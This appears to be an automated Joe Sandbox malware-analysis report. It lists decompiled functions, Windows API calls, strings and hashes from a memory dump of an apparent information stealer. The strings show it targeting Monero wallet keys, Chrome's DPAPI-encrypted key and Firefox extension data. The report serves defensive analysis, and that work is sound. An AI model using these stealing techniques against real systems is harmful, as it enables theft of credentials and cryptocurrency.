Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: f1e0ef426ff5ca6ff21ef0d110b2e3e17b2cb4e9b63426b525aac437a320c86a
Instruction ID: 27959a56086f2e60f54f83dd8b9f61447d5a4a8d188ec35c02a8146fe5598b9e
Opcode Fuzzy Hash: f1e0ef426ff5ca6ff21ef0d110b2e3e17b2cb4e9b63426b525aac437a320c86a
Instruction Fuzzy Hash: F1311CF1901218ABDB15EB90DC91BEE777CAF44300F404199F30966192DFB46B49DF6A

Function 000F87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00100E28,00000000,?), ref: 000F882F
RtlAllocateHeap.NTDLL(00000000), ref: 000F8836
wsprintfA.USER32 ref: 000F8850

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Strings

%dx%d, xrefs: 000F8847

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: c26caa469944aa77c31a2a93606396a828231c4e5ff897ced0058184f4f97305
Instruction ID: b39f0e99596ae03c8788c7c05878b1c2d6dd6573b9f6f0568d687f5a6dd6c92c
Opcode Fuzzy Hash: c26caa469944aa77c31a2a93606396a828231c4e5ff897ced0058184f4f97305
Instruction Fuzzy Hash: 85213DB1A40608AFDB15DFD8DD49FAEBBB8FB48701F10411DF605A7680C779A9018BA1

Function 000F8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,000F951E,00000000), ref: 000F8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 000F8D62
wsprintfW.USER32 ref: 000F8D78

Strings

%hs, xrefs: 000F8D6F

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 50e0b75f7a09a83e15fc4bd1065963a5143931bd147e3a58349ec10e389a3c55
Instruction ID: 31c12ffb27c43f089a939f454cc07d5a480652c36fbdc5808b876356572a277e
Opcode Fuzzy Hash: 50e0b75f7a09a83e15fc4bd1065963a5143931bd147e3a58349ec10e389a3c55
Instruction Fuzzy Hash: 1BE0C2B0A40208FFD720DFD4DC0AE6D7BBCEB08702F004098FE0987280DA719E018B96

Function 000EA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000F8B60: GetSystemTime.KERNEL32(00100E1A,0122A2A0,001005AE,?,?,000E13F9,?,0000001A,00100E1A,00000000,?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000F8B86

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 000EA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 000EA3FF
lstrlen.KERNEL32(00000000), ref: 000EA6BC

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

DeleteFileA.KERNEL32(00000000), ref: 000EA743

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2e2def6d072002cf2a0a2eb3bbafc657a5d57dff0a134dc3a0f26f9e9a883001
Instruction ID: 49ffc960791d6e56231ddfab48a8826486d6fb5164ada997289e0b033a02da7d
Opcode Fuzzy Hash: 2e2def6d072002cf2a0a2eb3bbafc657a5d57dff0a134dc3a0f26f9e9a883001
Instruction Fuzzy Hash: 2DE1F1B291010C9BCB15EBA4DC91EFE733CAF55340F508169F61A72492EF746A0EDB62

Function 000ED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000F8B60: GetSystemTime.KERNEL32(00100E1A,0122A2A0,001005AE,?,?,000E13F9,?,0000001A,00100E1A,00000000,?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000F8B86

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 000ED481
lstrlen.KERNEL32(00000000), ref: 000ED698
lstrlen.KERNEL32(00000000), ref: 000ED6AC
DeleteFileA.KERNEL32(00000000), ref: 000ED72B

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: cdf6c38092b627e24693bb064cda358d6ac0da55d882527f90f8845ac5836b98
Instruction ID: 18b636e079e8c65a8d7255548b13c1577984ef943803b77f37a8e11d95317556
Opcode Fuzzy Hash: cdf6c38092b627e24693bb064cda358d6ac0da55d882527f90f8845ac5836b98
Instruction Fuzzy Hash: 7591F3B1A1010C9BCB15FBA4DC51DFE7338AF55340F508169F60AA6492EF746A0EDB62

Function 000ED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000F8B60: GetSystemTime.KERNEL32(00100E1A,0122A2A0,001005AE,?,?,000E13F9,?,0000001A,00100E1A,00000000,?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000F8B86

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 000ED801
lstrlen.KERNEL32(00000000), ref: 000ED99F
lstrlen.KERNEL32(00000000), ref: 000ED9B3
DeleteFileA.KERNEL32(00000000), ref: 000EDA32

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 817d299f2ecaf3e6c0a43ed064998cae9a150ae1769cb7114b04d64a6b70d849
Instruction ID: 942f0bbde9ee5e1ee8afb3f6f03c169c03f5284d4ec69077648b439604ff5376
Opcode Fuzzy Hash: 817d299f2ecaf3e6c0a43ed064998cae9a150ae1769cb7114b04d64a6b70d849
Instruction Fuzzy Hash: E681F1B2A1010C9BCB15FBA4DC56DFE7338AF55340F404529F60AA6493EF746A0EDB62

Function 000EF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000E99EC
Part of subcall function 000E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 000E9A11
Part of subcall function 000E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 000E9A31
Part of subcall function 000E99C0: ReadFile.KERNEL32(000000FF,?,00000000,000E148F,00000000), ref: 000E9A5A
Part of subcall function 000E99C0: LocalFree.KERNEL32(000E148F), ref: 000E9A90
Part of subcall function 000E99C0: CloseHandle.KERNEL32(000000FF), ref: 000E9A9A

Part of subcall function 000F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 000F8E52

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00101580,00100D92), ref: 000EF54C
lstrlen.KERNEL32(00000000), ref: 000EF56B

Strings

^userContextId=4294967295, xrefs: 000EF59C
moz-extension+++, xrefs: 000EF5AD

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 21fa532a82663a73446141241cb51f48b27579394bc50229f40ef37ddfb0cc4c
Instruction ID: 31456812d2c44510df4a4f064bc9e350f613d44af6642b557bb520cb3254bcd8
Opcode Fuzzy Hash: 21fa532a82663a73446141241cb51f48b27579394bc50229f40ef37ddfb0cc4c
Instruction Fuzzy Hash: 605130B1A0010CAACB04FBA0DC52DFD7378AF45340F408528F90A66492EF746A0EDBA2

Function 000F3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: b70f31c3d1c8bf6558411eaf44b081d491f2229ed6eba6975d9cff1f08c53f82
Instruction ID: 4fce6042376f22aee95e0d0728c2ef874bdf16f2b17a6237f25f1d7a2f092356
Opcode Fuzzy Hash: b70f31c3d1c8bf6558411eaf44b081d491f2229ed6eba6975d9cff1f08c53f82
Instruction Fuzzy Hash: 724153B1D1420DEBCB04EFA4D845AFEB774AF48314F00C018E615B6691DB756A09EFA2

Function 000E9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000E99EC
Part of subcall function 000E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 000E9A11
Part of subcall function 000E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 000E9A31
Part of subcall function 000E99C0: ReadFile.KERNEL32(000000FF,?,00000000,000E148F,00000000), ref: 000E9A5A
Part of subcall function 000E99C0: LocalFree.KERNEL32(000E148F), ref: 000E9A90
Part of subcall function 000E99C0: CloseHandle.KERNEL32(000000FF), ref: 000E9A9A

Part of subcall function 000F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 000F8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 000E9D39

Part of subcall function 000E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,000E4EEE,00000000,00000000), ref: 000E9AEF
Part of subcall function 000E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,000E4EEE,00000000,?), ref: 000E9B01
Part of subcall function 000E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,000E4EEE,00000000,00000000), ref: 000E9B2A
Part of subcall function 000E9AC0: LocalFree.KERNEL32(?,?,?,?,000E4EEE,00000000,?), ref: 000E9B3F

Part of subcall function 000E9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 000E9B84
Part of subcall function 000E9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 000E9BA3
Part of subcall function 000E9B60: LocalFree.KERNEL32(?), ref: 000E9BD3

Strings

"encrypted_key":", xrefs: 000E9D30
DPAPI, xrefs: 000E9D89
, xrefs: 000E9DC1

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 2c1593ba9652da21723ec2b2f96fee7730ca238398c36fdf7db985d90505fe20
Instruction ID: b7c2f63bea1b4387e64295e0f07a220b017e0b7da10224ae242a5bb676359743
Opcode Fuzzy Hash: 2c1593ba9652da21723ec2b2f96fee7730ca238398c36fdf7db985d90505fe20
Instruction Fuzzy Hash: 59312FB6D1021DAFCF14DBE5DC85AEEB7B8AF48304F144519EA05B7242EB749A04CBA1

Function 000F8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001005B7), ref: 000F86CA
Process32First.KERNEL32(?,00000128), ref: 000F86DE
Process32Next.KERNEL32(?,00000128), ref: 000F86F3

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

CloseHandle.KERNEL32(?), ref: 000F8761

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
